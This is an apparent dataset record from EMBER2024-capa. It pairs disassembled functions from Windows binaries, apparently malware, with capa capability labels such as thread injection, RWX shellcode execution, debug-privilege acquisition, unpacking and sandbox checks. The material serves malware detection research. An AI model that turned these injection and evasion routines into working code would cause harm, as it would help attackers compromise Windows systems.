joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180006b10
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x13e0
call fcn.1800125b0
sub rsp, rax
mov rsi, rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], 7
mov word [rsp + 0x28], r12w
lea r8d, [r12 + 0x24]
lea rdx, str.abcdefghijklmnopqrstuvwxyz0123456789
lea rcx, [rsp + 0x28]
call fcn.1800024f0
nop
mov qword [rsi], r12
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 7
mov word [rsi], r12w
mov ebx, 1
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call fcn.18001fb98
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, ebx
mov dword [rsp + rbx*4 + 0x54], ecx
mov eax, ecx
inc rbx
cmp rbx, 0x270
jb 0x180006ba1
mov dword [rsp + 0x50], 0x270
mov ebx, dword [rsp + 0x38]
dec ebx
mov ebp, 6
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x28]
nop
cmp ebx, 0xffffffff
jne 0x180006bf3
lea rcx, [rsp + 0x50]
call fcn.18000e660
mov edx, eax
jmp 0x180006c31
lea edi, [rbx + 1]
mov ecx, r12d
mov eax, r12d
test ebx, ebx
je 0x180006c11
lea rcx, [rsp + 0x50]
call fcn.18000e660
mov ecx, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov r9d, edx
mov r8d, eax
xor edx, edx
mov eax, ecx
div edi
cmp eax, r8d
jb 0x180006c2b
cmp r9d, ebx
jne 0x180006bf6
xor edx, edx
mov eax, ecx
div edi
lea rcx, [rsp + 0x28]
cmp r15, 8
cmovae rcx, r14
movsxd rax, edx
movzx r9d, word [rcx + rax*2]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
cmp rcx, rdx
jae 0x180006c74
lea rax, [rcx + 1]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 8
jb 0x180006c67
mov rax, qword [rsi]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x180006c7c
mov rcx, rsi
call fcn.18000d1b0
sub rbp, 1
jne 0x180006be0
cmp r15, 8
jb 0x180006cbd
lea rdx, [r15*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x180006cb5
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006cdc
mov rcx, r14
call fcn.180011d18
mov rax, rsi
lea r11, [rsp + 0x13e0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.180018e94
int3
Function at 0x180006cf0
Capabilities:
Enumerate processes
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x290
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
lea rax, [rsp + 0x2a8]
lea rbx, [0x18038b158]
mov qword [rsp + 0x20], rax
cmovae rbx, qword [0x18038b158]
lea rdx, str.Console
xor r8d, r8d
mov r9d, 1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180006ec7
mov rcx, qword [rsp + 0x2a8]
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x2b0], rbp
xor r8d, r8d
xor ebp, ebp
mov rdx, rbx
mov dword [rsp + 0x2a0], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180006ebf
mov ecx, dword [rsp + 0x2a0]
mov qword [rsp + 0x288], rsi
call fcn.180018f20
mov rcx, qword [rsp + 0x2a8]
mov rsi, rax
lea rax, [rsp + 0x2a0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180006eb7
mov qword [rsp + 0x280], rdi
lea ecx, [rbp + 2]
xor edx, edx
mov edi, ebp
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180006e3a
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180006e31
lea rdx, [0x180049290]
lea rcx, [rsp + 0x6c]
call fcn.18001e8f4
test eax, eax
je 0x180006e2d
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180006e04
jmp 0x180006e31
mov edi, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x2a0]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x2a0]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], rbp
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, qword [rsp + 0x280]
mov rsi, qword [rsp + 0x288]
mov rbp, qword [rsp + 0x2b0]
add rsp, 0x290
pop rbx
ret
Function at 0x180007c30
Capabilities:
Acquire debug privileges

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x18], r8d
mov qword [rax + 0x10], rdx
push rdi
sub rsp, 0x60
mov rdi, rcx
lea r8, [rax + 0x10]
xor ebx, ebx
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rax + 0x18], ebx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x180007c84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LookupPrivilegeValueW___failed__error__u_n
call fcn.1800056e0
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rbx
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rdi
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x180007ce3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.AdjustTokenPrivileges___failed__error__u_n
call fcn.1800056e0
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rcx, rdi
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x44], 1
mov dword [rsp + 0x50], 2
call qword [sym.imp.ADVAPI32.dll_PrivilegeCheck]
test eax, eax
jne 0x180007d40
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.PrivilegeCheck___failed__error__u_n
call fcn.1800056e0
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
cmp dword [rsp + 0x80], ebx
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x180007d60
Capabilities:
Check for peb beingdebugged flag
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0xf0
xor r14d, r14d
mov ebx, ecx
mov qword [rsp + 0x120], r14
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x120]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x120]
call fcn.180007c30
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rdx, qword gs:[0x30]
lea r9d, [r14 + 2]
xorps xmm1, xmm1
mov esi, eax
xor eax, eax
lea r8, str.MalseclogonPwd
xorps xmm0, xmm0
lea rcx, str.MalseclogonUser
mov qword [rdx + 0x40], rbx
mov qword [rdx + 0x48], rsi
lea rdx, str.MalseclogonDomain
mov qword [rsp + 0x70], rax
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], r14
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
movups xmmword [rsp + 0xd0], xmm1
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov rcx, qword gs:[0x30]
lea r11, [rsp + 0xf0]
mov qword [rcx + 0x40], rdi
mov qword [rcx + 0x48], rsi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x180007ea0
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x260
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180007ef8
lea rdx, [0x180049290]
lea rcx, [rsp + 0x4c]
call fcn.18001e8f4
mov rcx, rbx
test eax, eax
je 0x180007f0f
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180007ed1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
add rsp, 0x260
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
add rsp, 0x260
pop rbx
ret
Function at 0x18000e660
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x18000e6c1
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x18000e680
mov ecx, dword [r10]
jmp 0x18000e7aa
cmp ecx, 0x4e0
jb 0x18000e7aa
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x18000e6e0
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x18000e730
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x1800109e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x180051068]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov edi, 0xffff
xor r14d, r14d
movzx esi, dx
mov rbx, rcx
cmp di, dx
jne 0x180010a24
movzx eax, r14w
jmp 0x180010b5a
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x180010a60
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x180010a60
lea ecx, [r9 - 1]
mov dword [rax], ecx
movzx eax, si
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], si
jmp 0x180010b5a
cmp qword [rcx + 0x80], r14
je 0x180010b57
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x180010a9e
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180010ac7
movzx ecx, si
mov rdx, qword [rbx + 0x80]
call fcn.180021344
cmp ax, di
je 0x180010b57
movzx edi, si
jmp 0x180010b57
lea r8, [rbp + 0xf]
mov word [rbp + 7], si
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp + 9]
lea r8, [rbp + 0x3f]
mov qword [rsp + 0x30], r8
lea r8, [rbp + 0x1f]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], r8
lea r8, [rbp + 7]
call qword [0x1800394c0]
test eax, eax
je 0x180010b1c
sub eax, 1
je 0x180010b1c
cmp eax, 2
jne 0x180010b57
movzx ecx, word [rbp + 7]
jmp 0x180010aaa
mov r14, qword [rbp + 0xf]
lea rax, [rbp + 0x1f]
sub r14, rax
je 0x180010b46
mov r9, qword [rbx + 0x80]
lea rcx, [rbp + 0x1f]
mov r8, r14
mov edx, 1
call fcn.18001f908
cmp r14, rax
jne 0x180010b57
lea rax, [rbp + 7]
mov byte [rbx + 0x72], 1
cmp qword [rbp + 0x17], rax
movzx eax, si
jne 0x180010b5a
movzx eax, di
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.180012580
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x180019988
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x18001985f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18001985f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18001985f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18001985f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18001985f
cmp dword [rcx + 0x84], 0xe
jbe 0x18001985f
cmp dword [rcx + 0xf8], 0
je 0x18001985f
mov ecx, ebx
call fcn.180019900
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1800196f0
cmp dword [rbp + 0x20], 0
je 0x1800198ac
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800198b4
int3
xor r8d, r8d
xor edx, edx
jmp 0x1800197f8
Function at 0x18002c408
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x18002c12e
call fcn.180020fac
mov dword [rax], 0x16
call fcn.180018e74
jmp 0x18002c279
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x18002c279
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x18002c279
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x18002c15d
lock or dword [rcx + 0x14], 0x10
jmp 0x18002c279
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x18002c171
call fcn.18002c410
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x18002c181
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x18002c184
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.180027ac0
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.180028050
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x18002c267
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x18002c215
mov rcx, rbx
call fcn.180027ac0
cmp eax, 0xffffffff
je 0x18002c200
mov rcx, rbx
call fcn.180027ac0
cmp eax, 0xfffffffe
je 0x18002c200
mov rcx, rbx
call fcn.180027ac0
movsxd rdi, eax
lea r14, [0x18038cad0]
mov rcx, rbx
sar rdi, 6
call fcn.180027ac0
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x18002c207
lea rdx, [0x180051510]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x18002c215
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x18002c239
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x18002c239
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x18002c239
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x18002c257
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x18002c262
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x18002c27e
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x18002c0f8
Function at 0x14010cec0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14010cecd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14010cedd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14010cec5
lea eax, [rcx + 1]
jmp 0x14010ceeb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14010cefe
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14010cee4
sub eax, 3
jb 0x14010cf1e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14010cf6d
sar eax, 1
movsxd rbp, eax
jb 0x14010cf54
jmp 0x14010cf2c
add ebx, ebx
jne 0x14010cf2a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14010cf54
inc ecx
add ebx, ebx
jne 0x14010cf3a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14010cf54
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14010cf4d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14010cf3c
add ecx, 2
jmp 0x14010cf59
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14010ce82
jmp 0x14010cecd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xcde00
mov dl, 7
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14010cfbd
cmp rsi, rcx
jae 0x14010cfc5
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14010cfa4
cmp al, 0x8f
ja 0x14010cfa4
cmp byte [rsi - 2], 0xf
je 0x14010cfaa
sub al, 0xe8
cmp al, 1
ja 0x14010cf8e
cmp rsi, rcx
jae 0x14010cfc5
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14010cf94
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14010cfc5
lodsb al, byte [rsi]
jmp 0x14010cfa4
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x109000]
mov eax, dword [rdi]
or eax, eax
je 0x14010d022
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x10d4ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14010cfd2
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14010d01c
mov qword [rbx], rax
add rbx, 8
jmp 0x14010cff2
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14010d05c
cmp al, 0xef
ja 0x14010d04e
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14010d02e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14010d03d
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14010d0db], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14010d0db
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14010d0cb
sub rsp, 0xffffffffffffff80
jmp 0x1400013e0
Function at 0x140002f1c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x140018140]
test rax, rax
je 0x140002f66
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002f66
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002f66
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002f66
cmp dword [rcx + 0x84], 0xe
jbe 0x140002f66
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002f68
xor al, al
add rsp, 0x28
ret

Function at 0x14000c5d8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000c3d4
Function at 0x140001558
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x68
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x48], 8
jae 0x140001578
mov dword [rsp + 0x20], 1
jmp 0x140001580
mov dword [rsp + 0x20], 0
mov al, byte [rsp + 0x20]
add rsp, 0x68
ret

Function at 0x14000158c
Capabilities:
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x270
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0x238
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x1400015cb
xor al, al
jmp 0x14000162b
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140001603
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400015e6
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x20], 0x64
jge 0x14000161f
mov dword [rsp + 0x24], 1
jmp 0x140001627
mov dword [rsp + 0x24], 0
mov al, byte [rsp + 0x24]
add rsp, 0x270
pop rdi
ret

Function at 0x140001634
Capabilities:
Enumerate process modules

Disassembly:
push rdi
sub rsp, 0x150
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x28], eax
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400016d3
lea r9, [rsp + 0x2c]
mov r8d, 8
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x1400016c8
mov r9d, 0x104
lea r8, [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_K32GetModuleBaseNameA
lea rdx, str.test.exe
lea rcx, [rsp + 0x40]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400016c8
xor al, al
jmp 0x1400016d5
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x150
pop rdi
ret

Function at 0x1400017cc
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
call fcn.14000177c
movzx eax, al
test eax, eax
je 0x1400017ee
mov eax, 1
jmp 0x14000185d
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x39f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
